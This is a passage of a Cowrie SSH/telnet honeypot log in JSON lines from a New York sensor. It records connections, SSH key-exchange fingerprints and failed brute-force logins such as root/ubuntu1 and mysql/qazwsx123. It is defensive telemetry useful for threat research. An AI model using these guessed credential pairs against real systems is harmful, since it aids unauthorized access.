-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:31.359594Z","src_ip":"159.203.92.129","session":"50bf806725cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aizql","password":"aizql","message":"login attempt [aizql/aizql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:31.371811Z","src_ip":"159.203.92.129","session":"50bf806725cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:32.378633Z","src_ip":"159.203.92.129","session":"50bf806725cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35275077819824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:54.976916Z","src_ip":"5.61.90.139","session":"2528ef599805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71366333961487,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:56.211361Z","src_ip":"5.61.90.139","session":"07337293fa94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92441940307617,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:59.572729Z","src_ip":"5.61.90.139","session":"af0eda1033e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":58298,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa27c1528290","protocol":"ssh","message":"New connection: 217.154.192.185:58298 (159.203.135.109:22) [session: aa27c1528290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:03.828506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:03.833348Z","src_ip":"217.154.192.185","session":"aa27c1528290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:03.927258Z","src_ip":"217.154.192.185","session":"aa27c1528290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"password","message":"login attempt [devops/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:04.334454Z","src_ip":"217.154.192.185","session":"aa27c1528290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:05.430567Z","src_ip":"217.154.192.185","session":"aa27c1528290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50860,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7c85b291e95","protocol":"ssh","message":"New connection: 159.203.92.129:50860 (159.203.135.109:22) [session: a7c85b291e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:13.428871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:13.433410Z","src_ip":"159.203.92.129","session":"a7c85b291e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:13.440362Z","src_ip":"159.203.92.129","session":"a7c85b291e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aizql","password":"aizql123","message":"login attempt [aizql/aizql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:13.450725Z","src_ip":"159.203.92.129","session":"a7c85b291e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:14.457855Z","src_ip":"159.203.92.129","session":"a7c85b291e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.176.66","src_port":51100,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce895d9b6850","protocol":"ssh","message":"New connection: 46.101.176.66:51100 (159.203.135.109:22) [session: ce895d9b6850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:19.400771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:24.283371Z","src_ip":"46.101.176.66","session":"ce895d9b6850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:24.288447Z","src_ip":"46.101.176.66","session":"ce895d9b6850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":57084,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ca3d9202fa5","protocol":"ssh","message":"New connection: 91.134.240.52:57084 (159.203.135.109:22) [session: 2ca3d9202fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:31.338245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:31.352521Z","src_ip":"91.134.240.52","session":"2ca3d9202fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:31.424046Z","src_ip":"91.134.240.52","session":"2ca3d9202fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qazwsx123","message":"login attempt [mysql/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:31.716119Z","src_ip":"91.134.240.52","session":"2ca3d9202fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:32.798801Z","src_ip":"91.134.240.52","session":"2ca3d9202fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.12.183.226","src_port":30731,"dst_ip":"10.17.0.5","dst_port":23,"session":"793116fdec9d","protocol":"telnet","message":"New connection: 177.12.183.226:30731 (10.17.0.5:23) [session: 793116fdec9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:36.564560Z"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:42.057930Z","src_ip":"46.101.176.66","session":"ce895d9b6850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102376937866,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:44.813787Z","src_ip":"146.120.225.17","session":"6b635fdb3a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:47.806972Z","src_ip":"46.101.176.66","session":"ce895d9b6850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.176.66","src_port":34676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2120ae648258","protocol":"ssh","message":"New connection: 46.101.176.66:34676 (159.203.135.109:22) [session: 2120ae648258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:48.225530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:49.259724Z","src_ip":"46.101.176.66","session":"2120ae648258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:49.263411Z","src_ip":"46.101.176.66","session":"2120ae648258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":54772,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de4c08b151a","protocol":"ssh","message":"New connection: 217.154.192.185:54772 (159.203.135.109:22) [session: 0de4c08b151a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:51.050073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:51.053782Z","src_ip":"217.154.192.185","session":"0de4c08b151a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:51.153145Z","src_ip":"217.154.192.185","session":"0de4c08b151a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu1","message":"login attempt [root/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:51.586814Z","src_ip":"217.154.192.185","session":"0de4c08b151a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:52.715646Z","src_ip":"217.154.192.185","session":"0de4c08b151a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcaa933a7746","protocol":"ssh","message":"New connection: 159.203.92.129:43902 (159.203.135.109:22) [session: fcaa933a7746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:57.548071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:57.552915Z","src_ip":"159.203.92.129","session":"fcaa933a7746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:57.557526Z","src_ip":"159.203.92.129","session":"fcaa933a7746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ajaipbina","password":"ajaipbina","message":"login attempt [ajaipbina/ajaipbina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:57.568649Z","src_ip":"159.203.92.129","session":"fcaa933a7746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:57:58.575393Z","src_ip":"159.203.92.129","session":"fcaa933a7746","protocol":"ssh"}
